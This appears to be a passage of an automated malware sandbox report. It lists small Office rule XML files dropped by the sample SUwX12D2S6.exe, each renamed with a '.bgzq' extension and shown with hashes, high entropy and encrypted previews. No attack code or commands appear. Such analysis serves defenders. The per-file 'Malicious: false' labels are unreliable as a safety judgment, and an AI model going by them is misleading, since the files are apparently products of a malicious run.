Entropy (8bit):	7.7730965887423515
Encrypted:	false
SSDEEP:	24:pv1c3pxYIULptJFALZg0rwgDbTQtvVSmpkox1DU0D+v6VbD:d1MkpP+LZgz0T6omhLD/D+SFD
MD5:	27C498EBB038C5D1C322CC2B432CE2C7
SHA1:	80BAF5F7F253FE2D9A2A360B106772A8E7E83E5E
SHA-256:	AA82D5C2FF4388CB94B31C9B559036658B25C3406DFE62C0D7752D8EF8D00C8F
SHA-512:	54F547ACBD1E5E6BAD1B514414B094FBCDC7F44DD8C92CAF2ED25C436D773BE41F3760EBCFD385D8C04ABC7DC873352430368DEB7C476DCCB8BD2024ECD605A2
Malicious:	false
Preview:	<?xml..O.z......:.....8j..F..:...Tf....w>....\2_)..Q%.)h...97..(..fK.c..TM..PN........@....':"..ZL.....Q.{ ..G..A(.k...ao\..?..Z.....[..........j.s.G.!B.D],N\|....`3..]`f..q.3.6<...........'..e.E.............S^...9.....k....)...........e.]..(.SO.u.5.A.1.S..0..f$..j^\|o.a4XiV.>.f.p.. .0.8 J.ZId8!r...&c.\X...\|..3...2...&....\.#.~..ADg#......:X../.7...'q.J...e.XD...0...}L+W...{3V....KD._..!46...;.a.FU...=..,.W[.......LJP\|.i..q..~.6<'.. ....j.Y...kB...UG#...$...l..\|......>.!...e5..N.P.v....?..1.5F.!......E.}.....u.....j...}(!..O...g{.@w.xfq^..Y0y...~.6N.N.I../...X0.. g#...\C...<...T..l.z.>8'....'.i.].b.....'`R.......U..........._.j.'.i.>...4.....Kk.p.d.[..G-..I...nth)......n.c.......HQ.W..Im?m~\|.tv...}.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.708114866327856
Encrypted:	false
SSDEEP:	12:eRcyrWb+bwQubr6c/9DxhhSCW3rXmEVWx28RV6pWrwPf0jVxpmXWOl9enqmgw8aa:e3SbbrH/9D1SJXmEVIRVEWee/mXWOBmk
MD5:	A3D7D1203E421D34AFBDF5E7AFDB9CA4
SHA1:	F42AC29C3C1B73644CE9F41F851D83A4AA2CFED1
SHA-256:	267D2249D61F5353B7BDC2943A128E2CB425E93C4E99699D2FF6F771E3FEBEFE
SHA-512:	520078BB18CD7CE564475669A6B7B6BC6E92C5DCA998D4DEE356F962BE9E5BBF9867BBC1365B58E48786D1E01D537C9E3BA5F4AB73E5BF8B604391FAFA216AB2
Malicious:	false
Preview:	<?xmlc$.J.. ...h...!.-q..W.....Tw..h....j99v..Rt.v.%......{...J...M.{.13y.b...;..:.`.??.[...>...@V6...l..f.vp....u..8.#.Cm.4BT.'.._....#zs$ic..........g...2.kB.tt...\|Z.<...'.@...T.....i.....d....2`....l..t.~Q..U.i[.@.Z}H.....M...........J~.o....%5.br.R.T..r.;.....3.>G.MvsG..q(..s.&=....O/.....~r=...'.....7J.Y.S.:zA.....hC.B.]..b......n.p..&H.vg....9..M.O.;y.r:..?9N+.7.....<1dG5..J@+AY...M&q.Y.S=s.K.,HUUm...{Y.$..V.x.^g..&.........`...Z.......M...7.C....m..:.f.#6..&..\|"......0.p.!]w.=;...SY;....-2R.J.x.0i........`0..4.I\..8..w.g\.\|.@=N...2n.`....0_.:U..a..B.x...7....&.....R.../....I.].....2.\|.....zr.....r...<.U....B.r.y`....vitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7057903145595965
Encrypted:	false
SSDEEP:	12:8DWpChz95Vr+O/PbYOaoRQ7rn1G4Ldc/LFQwe3iB/V5J512L3nHrgT4SjVcii9a:VshQObGs+YLFQw+s/jJ5kni4IVbD
MD5:	3E4B1392C5799AB92BB7C0F5677568F7
SHA1:	AB4AB4181C9241033FE2C6CD82BEFE696DC62061
SHA-256:	D32BE94749062E95FD8C084D74C496F7E838897DECBDA3EAEC887EF7EC2CCBA0
SHA-512:	0961322B10A61F03599F203A4E47C1D86C2B93524A330A59A31965A68A4E28A799A1BC860D5782DF38402F58D73431613761ED1B768373B58F5385612C75DCBB
Malicious:	false
Preview:	<?xmlA.....v..'D.b.p.....".......--..P....Qp..s$..w......M.N...x/.M....jF2..nz[........5....c.........6.n4.+..E....5....;.DK".#...%...........3...g..a...6.<gZ...L..o.8M..[3..(5....pY..zrI..=e..;.....b.....p.Q.R0..~.Q.c..K`..x>....}...?).c...4A..Ef.V..O......67..l..2@..xh..p.i.......+......n....F.z..........Hm.dB.\|1..og..'....].^'....f.....r.S!....t..!......9r.o[~b...r.i..0...EG)DB.....v3)z.2..}........".AK....Y...vq..5P.3..`..\...d.......c..^.pJ)..}g.`...G...Y.#..... ...j....>v..2n.Y...J.q..p6x.w.3.'B.]...vS[1.@."...6..d..kh.l..S.D.E.6..GK]x..1..B....{.O?..a.u.j...-..-. .B....Z..^..!.....MtVxi.....2.N.dj.Va.....<.L..m.m.v.?..~.tr~....[..s.....A.b.bZ...........6.=v...b.-..<..eitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.731378561048493
Encrypted:	false
SSDEEP:	12:KCZgyiHNMBWhqjZ0NeSkvLbWmZOom1fr+e5+b+cPTHH16/3N/N+3IjVcii9a:xviHNMCV1oLbhZl2XMb+6HH1A3N1+aVX
MD5:	70FD0424BB88F1CDA751CB7A8A07C531
SHA1:	CBFAC2E81CE193C9AE7CAC2D6C562D8E5CD3BA59
SHA-256:	8262B47B55F20CF22DED39B626C3AEC0119AFB38727CC1EC8FB1A42EA17AE5EE
SHA-512:	3FDFD19FA3F7378E24F865265CCE4E2C7D496D220B3A759DA3FA4A3969B346DFBC136E0C1B2061E1FB64C14D4EF0CCDE21E34B9AFFFA03BAAB1E44C9B5462C7A
Malicious:	false
Preview:	<?xml/k..r.}..e/....z...;'.Qr..2..2{Z..b.]zg.X.P...Ul_..t...{..'..m.?02&..u&...^.85..._s..s..n.....h...;...X=.$B...`J..).=.S.A).....&e!.$.:.....{.`.c....P>.......c_...K>...W(}S,...dI.P.8....>.....Fw.iD....a....)...mL\|.H.3z..O......T3...]u.?..3..:.....%)%b.Z=;.P..7l..,..#u{M.2..Kk....R..j....R.Z. ..X.J.6I.)....x..\|...3......r.j9k........y..Y$....4..nbU ....R;....8....H..y.....t....yv.......qF.e4n...x...........G.u...e9...WgO.&.C.S.,=._l%....ulk..I.+PV....)8.#].8.....#...jW.?.`.=6....A.3.........h....Y\|.......~$...,k.J....W....ts.r.....I.h..>Ux.. .2...'..Z^.7.....[....S..F.*.ns.[..._.0N<\|X.X..w)..z...3........qbGv.5n9.nL.KE..g.~itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.726258968413215
Encrypted:	false
SSDEEP:	24:sfRsVe6gp+7dB+h40V20I2Xon9a5gg91VbD:spsVeFpT/fXFD
MD5:	6BA528FE8C3202F9F10E9A193DCF7A49
SHA1:	473F3C56EF20FF23F07E1ABEBB7E08462F0B1EF5
SHA-256:	80F38DF0A21636DB899D5593288191AC9AC14E35052328DE7B14DD02916C032D
SHA-512:	051BA7036E11E6A1D0B8A6AEF43C00117B4E0D64C3CE0C5419813846E2637BFA7736AA9551B5DCB9B568F44A48C97B2E072714FC7619B92CD4E9ECAFCFFCD51E
Malicious:	false
Preview:	<?xml.vd.v.E_r.......)..E....E.[-.....QR.~...sN.x.[.....d.7...J.y.E)..[.~.\..m..@..)...UT...s.e.+.(..i?X..\...).P19.....=~.ax.]E........[>.. ..7:..+.}.IC`V..$A0...............w..x....O...Q.4`0..qw."..r.H....,.QJ>.(....6p..Z<....T#.b......t.0.....U .C.H.z.~.C......w.z.....z...[...v...&T.E.1".,....b.q.r.h...0.....e5R.-8..\|.D..G....Xa.c.YB*.. .........(..T...k.s.:.'.c...fF..........D.a.3..K..k~N/.5.&.x5.Z......+.E\\..k........}9.c'.....-}.r..U1....R....Y../.5.2...xiN.`....B...u....R..s.hpu.h..]...0...=..]Zi..W...K8..K..8.%.......Ya1..>i..[.RS...e....qd...Tz..e....?.{...y.....KfH..8.IvW.k.&...?d...;.c2..$.Qe]...B...z...+.....&../I................w..z......Kn<......h...Y(.a!.. .A.[...].`Q.4...xzitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.717636389344417
Encrypted:	false
SSDEEP:	12:AF1frsJ3UPSOQQpZZ8Ml7c3xJWpqYs1pbwgElxXYFLEhH5tQWvY69ptiKvL12cEV:GfUWOfgbswD+FEt9v9/vpyVbD
MD5:	4FE146EE1330A2CEC14710640A99ED02
SHA1:	C82467A18D12136686B609770E2075A8968B867F
SHA-256:	5ECA3B3EBBD17107FC928AC0B2E658E3F80E910FF5B56A935D6EE1DF32DAD179
SHA-512:	5F105050193EE9AE79C3B69548F411B42FEFAD08792DE89D034C733F34B12D540593E39A6AAE79AC498B48D4B4762BF64CEEDE9AFF324A2D62D21CABFD95106E
Malicious:	false
Preview:	<?xml..T7 ...,.....F.....y....s...."(t^....Mp.s..j....'....U%........v....[.>B.....3...r...<...p..'.2.T?...k..:1.j..$...wJ.+...#.y.'w........IT.]......8&....B.......:._ .}`E.:6.6i..7....tQ.#...o..`y.]gh.I.X...9.lS.......]...U.c.....T....0..M..p.98a7..D.h.;.b...y...M.....i...O..U..]S...]....I#w?..s.H.S.h..P?.i...#.D.!2KS.a3...L..7v.o7..)..N,@<G&.3..Ge.fH......2...&..b.d}....G-......y/...5..D....L..u(2..I ;]..p_iq.t.b..'..l.....6..W.1....X/."n..}.bO....Wf...7..\.<...(..T.^)....ER....k.B.Qu..E>.d..`.Z.6.z....n...2$.h.Q....y.J.uEL.*.U.]f...\|...j.,......;9..,:....V.,...T._.feb.].........B>..(.E.&....N......D..n ]..E&.f.......&....]..3Yitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.7501310813695925
Encrypted:	false
SSDEEP:	12:hBp4TtuPFx9eHDApH5FqDv/Qc7XmogEDc0+M9ZtxVnLb9NR4TnASFbyejVcii9a:l4hqaHcp6vRFgac0x7hnN4ThLVbD
MD5:	CEABD343AFD188FA6D1C540F0F2FA566
SHA1:	7F85A87596F168BA808CFB73796DF36B640E796E
SHA-256:	31EF2FD0572707619BE7B8DEBCDE3D5D97BA5DCBB0DD1F3DB0907DD49C9F5C88
SHA-512:	26806606A6AC350CF026795790F1B71439A14D4B94B4CFD0FF030EF4201EFFFDA56977FA29F1E823712EC9E04E04E2249066A853354ED432EAADE4C3902005CF
Malicious:	false
Preview:	<?xml.[..4..j......y......k..b..W..L....]...9$?.i...A.X.......{/..%..c.}..kO.V.D.s..w.#.=);z....~."..b.Y......$_".t....U..{1.H0Y\| ......}...."H.&..#K...D.&....6...%....>..b'...a...$..@~.e../.X.F8}#G..~........q..\|i...pp....w.. .1.;.......#..l{.!y..._e..O.@..o.d...".H..Rg] .'....J.{..<.A}..I..q...U.....~.=]..e.."6.@'...;...C...LMZJ...8..p../..h..E.O..K.ko+.F...$.qk&.XSD...=>E.?m....x..j.,?I...):.dW...O.?T...r4/_.).^..?....z.X.w.b...-M.@a-.$..".HH.[......?....d.........\...>P.s.wl..M.Q..I.F.t!......-t.6l..3hC....O..U.{.:?..lw..:U..V.r...,.........`.....c3.1..K'.....U.........`.p...7......7..c.=..I......e.{......\|.vv..=j....Q.\...P...F..-Wfn.P...c.`.J.....,.s.$.k[..w.?..."..^v.?...vpq.u..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.731774798031014
Encrypted:	false
SSDEEP:	12:I55egRME6r+ytp/z29pHZ9JCSiKHMgJnlv4Y/krhDxDmtRmPjVcii9a:I55/RMTSD9p5OSiKH7Jl4Y/+DgeVbD
MD5:	D1D29E65B3D21CE8C0EBF2BE55C69E95
SHA1:	B41A9B836ABC99337758BE083924130D59DBDD8D
SHA-256:	407E8507DED1B3D338BEA67DA89EE6BE2185B817DA1883B6A2766D50A92BE19A
SHA-512:	5A93DFFA80FEAFC2E96CD8FCB3F887A551F11C0E18216A93982CFB9EF429A9C37756E81EB0E84A7266FF1CCB91A75254AEF886FD0DA1861A2242CE2349835A64
Malicious:	false
Preview:	<?xml5..T.u..5k............... IT..#..;..........\|..5..9&.lI........0`j.Q;........Yx.^[...M...DC.S.{.E...........N.R.H....+v.z..0.........Y.U...x<j3.U...../M.G...]x.....S.Z.%.ry..T.....t.../..n..".....a..Zt.Pl.M..q..j. \|0......S f..b...b..$.#R.uH.{....E.9...s.S'..H......X.3w.h&9@........o..#^.z.E...A.v...f...%...\F..-k=..\I....].....~../....\|."....tf...L{..L..4b.O0k..p6^.).........B.>..%...<....h..vhrg..L@'..'..v@....ec2..>....mF..P..d]...2".s.7B.1C>$.x..P.kZ.(J.j_........^L_C...e'g9...s).....#.Z.:..f]V......oR.M<!n.c..(..U.S].O:.`P"........N..N..%?#....wSi...f......D........)w..r.._.>..j.a!....O.... .....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.740326674881451
Encrypted:	false
SSDEEP:	24:pOa+ydNsVMReU8Pc0xFf0lEapBh3JP5fAMay3IlIVbD:pOogPzzxauapVPSESIFD
MD5:	588D67525DFA0B529173AAD354DAD974
SHA1:	AB9887ACFBFF1E0EA29DF71316F1DB9F6D7FECB3
SHA-256:	66669ABD85BA1800287DC67B689DDB04A96E2143AE83A6F4AE75B78F54646FD6
SHA-512:	858DCE5D63563FD3A0691FB3A9746CFF678F1F2F7694D6543C8F54A0EF0782648E9F148D33456CCAF7A04299240C9690AC36D76D942200567C2F8BC203D14597
Malicious:	false
Preview:	<?xml..K..3)...'y(..u.q..v..~...~.E.1J..WaM.@=R....t..E...+M.#h...6.}I..y.^..D'W......PXmSd.N..{.Y.kS.....z....$.,...k05.y....ST.88~.U.5.@.=\....-P......y......d4;..H;...7..h.F...r.s.j.(..U.;R........-.j....O.#+D..kF.A.0(B....s.? .x..[+.}..ZH.y....Z~...ag..ezq....$5a.l..F.......Fe./....$.$...m.."T.My.._..,.\t.h..oy.%.........KS'.....qo...Z..7..b..... ).#fv.+{"_.s....,48...1.K}.(....^....m..e<t..G.../F..o...n..!.......-.m..1.xr.6...v.T.S.H.6[.....a....$.r.b.....ff..h..7.j)>3./...!.h.,P.............;....B...].)..M..T.5..M.. ...Q..O..C..~....7.......c.....(.U....g...u...y.....p....d`..t.nnc..M\.H......C.weU....R...-.?...3.1.A.am..z.=...49....V....R..sg.."....\|.`..V9....I.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.660789874519221
Encrypted:	false
SSDEEP:	12:4kTET+WdTuX1KiHg8ME8AI8KPZ8k8H71kD+1n2Uo0Hv197agjdOWmIxrjVcii9a:49TY195ubZ8tK+nFxHt4gjtVbD
MD5:	1B428A757F801522369619A669FA2C26
SHA1:	88ED42434CFC5729643A4FDAB9DADB75DF9B92F0
SHA-256:	86F33752BE85EAA874CBC26DE560DC792CFD64FD09F42FFACAF974540BDF0F92
SHA-512:	C95F99A2CA5C9B7C4113AD8B114C739163ED0B065DD89569B13D670A19FB7F5F927B710BC7DE9C410FA1AFD88577BB3EDD0C616847EC2DA7F73F2DCA8CF43F1E
Malicious:	false
Preview:	<?xml.T.MB..e..".L....n..o..K..yK.......\|l0......T.L.......8.O..H.....8Q.PV.....8..<.........=.B...%..0h...}\|u..I.....8,=.....'.....sM].A.....m.I'.........Ey:.u.c..P.:.{f.9.....4.....8....1o+...../Es(.9......$.H..S....'.t....D..i.N.uh...G:.2..nP.4..soyK]....<..i'...#...%.^...D..9.va.y..5V.At3....-..t...Iq.S>.t.....a..>.(.O....h...e....E.{.&..k.....0.O0../.X.>#....]l..:..T...D.u.g6....O.........u}...i_V_o........Iz....+dO...Sb;(....9...XKw3..x....8....CHB(.......L1V..G..,.D...O.....o......,rH.E.....3x..y..r.>.]..-.KQ5..#..^-8......W?4=4.l.u EG...U.{..Z.......a......_..o.........27..g....N\.wek....h#...^.=o4.6-.>`.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.752481705740256
Encrypted:	false
SSDEEP:	12:F7Ysz4juARHk8WL827ljx1e7rPVpp0euVsnc0gNQIaD13rIGesRejVcii9a:MXWf7DaDp0Vsc/iNmVbD
MD5:	1613FCB9671A82252D632D168350E86C
SHA1:	AA7DF0619138F7F5C33C0148EB704E60BAFE3969
SHA-256:	8B4B12490FAD496EF115BC9A800FC3C56B9D2B377958E82982A30B2932C6C406
SHA-512:	0A1377E968F24C5AF23F374571651001251AD247603131E4AFB2759636676FCE2D4399D61238F04A8B828DD734061CAF1E2A3072D0B51847AEA5B48D4096C110
Malicious:	false
Preview:	<?xml...)i.a..)...l.......Nv...G...qy................d.&....j%....5L.3u..CQ<.....^b.?hO.r.J...0.5..".Y.r... ....@e ...o".LH..,N......w.U.O8.a...Q@.....sk...-)....A.BN.(........,.....]..o6..W.vk.6H.'.2.....8.....?.....8.7.i..8......h....c....t.....t...M..z...`......Rn;.=.^..5....D^a.\6+....M..j..F......C....D0.y!......iH;H.5.q.."....>.>..oA.ov..=..K.\....)..Y...zh..(..~.....P.....@G5#....U...:..mQ........n./..I<C........U...z../M$.}..on,6.U...P.i..$e.Y\.&~;.U.J..zJ..2NY.._.\|.&jX..F..O-C_8W... ....../.....J.....!.zq../....lM.\ ..SH.VH.w..D.D'..p.\|A..!...K>LK.:..ei.z..H.F..6..t>~.H:S'...5e_.. ...T....e...7...m.4.Lc.._..4.........v.qC.....-3@.SM'"...uh..e...n..$.. E.Ko.m.8.=..^.>itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.734064049952432
Encrypted:	false
SSDEEP:	12:4+fmL3bEsspUv8zBY5a/9ckjajHTX0pFY75ijJ685LoFdRmQuocPPTYLROJ7xTe7:4WmzbEsspdzBY5a/9ckunEnY7EjFLoFF
MD5:	AE88912071F28409C38AD378720C4407
SHA1:	0B21E8E1A1E5FDD8CC4406B688F2EEA1C9DF7CB4
SHA-256:	3FB464CA7FB6D9AF4A9063DA537C7F5F59E7331A6B5D80FEB641B892D6D3629F
SHA-512:	659972889A94A10AAE645B91582BCB8351B48909597476861961EA598ABB98F8EDFA0CFB203F85EF949C33DEED6C52645C0165AF8A7A1953433A2046F1C951AE
Malicious:	false
Preview:	<?xml.;b...qziX.S..B<.:.."n..$y.NL^.,kU.s".q.T..E-..,..N..-..9................z...}.q.X....6..XP....W4.i._.kd.pD'Z.o....`.<....D...`..o6 c..n.}\|.P.0...."..>..o.X..gg..Z.0.. o......O.1..q..(.j....~....=.M1.'q..........A...{..i.X+......a.#I.'8.e...i...J.u..f..\|.4.<...>Ec.J..[kX....5Ra\|.e.4wE.../..~......H....j.._.td.I..c....E...)..pQ..........GYO....%...o.....SE.....V%N{..e...O@=.l4....E..<..MB.y.?..j.>z.Y...M5t..0.f..{(...Ww.....<....%...X...%~.......a"%.K).fh.\|&....;..-.[..Z)..&.o.pF..y...._._..u~......O,....L.1..]...c...p.z.......... ..t=q..be...Xu.k.[.&o.XN'...R...A\.F..h.DH......9....J.<....FH..&.....8....#.k.)..aQo.}.;....0pitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.749705419003284
Encrypted:	false
SSDEEP:	24:1UDDnWqeFxmB0oKNHi+Yb4MPO2eR35voApRUVDVbD:KFeTm2oEHilb4wZcoAU9FD
MD5:	8A6149778F30C492D13F19325DD1E697
SHA1:	493392582B60F8B2931AF07C7DECD6463C77ED2F
SHA-256:	A1FEB947F31118201038BE0379B3BA4F0A4A6DAE79DB96C608E05DC3D93F6633
SHA-512:	FCA278FBEB748CE79CE33EA952DBEA7700AFA4CA0974E1C3918421F5D4CDF1F3466B90C329155E965C18FBC3F2F68767DF731CD7EE27DBF85C729E394232B062
Malicious:	false
Preview:	<?xml.........a..."...!F.j.a....\.....y..Y/...f@i.b..q1.4.f.....+"..'.......s.7.p.;..E.G..(..H.e..!..O].`Q.....i.......i..[.'........ae...l.2..>'dT..o^....5j...D:oG.Z...k.8.w.y....2..q..f..%........9...@;2s+....u.....Z.u....f.}.jJ.{.ia[..E..f..z.5..N9.../........."6$......^}}..#.~v..D.Sd.........!.M7...>...F.j.C.aV..[?...3$.aQ...X]...\P...og'....t~.]3m.... SS........Ov\..pI.gtH..c:H}2.......y.4<.#$.j>}.W.?..\.L..yc..z......~...e5.{..{.`.,..t..q.T%.....\<!.o.....!@(.W..vQ..w.h.M..-.!l.L7Ir..!.-]We.\|.k.Gh...?....._'..'...K...Jr3....U...=.....X.+..d.='w..;............_...r.......Q4..WO&...q..."...\W0..M....7k>0fH..g..M.k9.Z....3........*.w..B.x/} !.....E.SD.i...>.....,#....m...AkF4.i.xitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.722611593198287
Encrypted:	false
SSDEEP:	24:D9P/x5+UvhC1XlASR+mESkZrCSj30AqmEWRQUc+VbD:9+vNlhE9rCSj3Um9QUfFD
MD5:	E7E476DF83BCCFE9D2CBBE1CDE44166F
SHA1:	B3AA97DB923CEC7B34ADBDE09D890CAEE424659B
SHA-256:	D697F6ABCED352C2F1FB61FE289C9A15CF054885AE17CECE2D6D6190E862AB36
SHA-512:	1E3DCADB84D187B1D4DB5B45C37EF3E2D96C12B7112AE66EC37313DE5884B31789DDD1F4D3D8D1A626CF4EAA570CE71BBD61FD6C8B3140504EF63F806FB21D41
Malicious:	false
Preview:	<?xml.V...f....{...)...U.....E....Je6.....&......%T4.S.!...H........e..h.&..)...}......./t\...u....+.\|..5..........~~..:.....s.......u.....g.Y2N..%.....hh.Q.Mf...0.j.Rz....1.0.Qsi..!.....{.q........$&.hG....:..pI.D.....z...7........i...OT....}#F...AyJxA,p1GrP).........s.'=T............u3#..[.......E..x.l....5...q;T....R!....w..(.{.."9....L<[.g.+..5...~.......f....&(.y...C.....;...i.I.l....%x....$eC...n..1.v.Q....H....*.y.}..\|a.p...+.T.........2.`...y.~..tg...t.....%.pj.....i.s.....2...G.d.:.C.WD...&......eY]......8._M..................h31.........(.i......0-.-...Q+,.q.j..;..O.E.g4.....v....Q.`..9....[.<..h.....r...(^aHa......n...}....L..,....K...igitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.7296992578983925
Encrypted:	false
SSDEEP:	12:1CmnaAdoP2N6Z5/nbonDk+G8T1Y4GDgu2fNnwaSBiEnGluqiejVcii9a:1naAZI5TonDTGEGDgu2fNnFQuuMVbD
MD5:	35F5D1F2C97B56DD40A4128CEBBA7F76
SHA1:	4BFE1E72FA34DA2BA3D1BD289BC9DC06776A9A58
SHA-256:	87C02065620AB6FC5401BFEC294AC5BB041226F4E35D11EF90F7CF042DC48949
SHA-512:	898E8FF924371940A590DDBF4D9BAF4573163DB291BD8FA6EBF13C51F64D1A76097C7DDB3702078965B33EFF80423D0B15E905804441AD23F36A3D1C0662F5D8
Malicious:	false
Preview:	<?xml(.18...=U.I\|zD.f..`..Q.U...f.JF..9..[K...{B.....s.1.!.b.c..U.....w....%.;A...-.p.6.Q...8e?..722E$>.8.....Y.~;...]..J..Z....(..g...3..(R...sJ..s...7.C%:G.N...?.c{.{_:h.Q_.d...q....,..<~E`i.f^+^L{.I.......G.R.......At;~..{....~..L..NHp..c}......`i....B...{......3T\|...p..MW...:.p....b.>...z..+u.5.....O.<.x...X>wT....h..?.t.""JH...+...}.Zh".or.N....lcz..G.C...>.(..e........9nO.6.....t1.....K.Z].W....Z...Q....x..H.wa.l....EFH.......[.O....h....#....;.r..n...$..X..F.DY......F.x.Jq.:.kR.....^.u..[.<..yKbb/..pRAq.G.]....f..{.n.O......h...TO.v.>j..#i.a.....zx..M.-.....F.%n...aF...1.\..W.k..C.~..yt\|.%......DJ..; ..1.5....t.~.....r..F..1N.6*......7Z....(cO.q...\|...A3..0:...W...ab](.}L`..N...U.}x....Y..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.733044409004979
Encrypted:	false
SSDEEP:	12:Pfk74RRXdJhE0e/W0aPm1TlsN6wR0IqUvWHNK93DDghd45YFFsImWVRCjVcii9a:PkyDnIL31ly0IqUiwDDSe5o7mBVbD
MD5:	D814E1017CD2B8FDEC352223FC389EF7
SHA1:	013E9998136C471D8EED3E5F8418BA4CFE18CB61
SHA-256:	49AD4FE3EE4F9068F202BD18CDE1E01103AD57724AD41EE39848F0FBDA687C37
SHA-512:	2BD1D1C0891B12C60902BF6118D1F44D5F00D78B268B66C21144D2A2B402C4544701431BE1E887F145A34E092A7AEE852CCC21AAA62915D6F01376AD413506EB
Malicious:	false
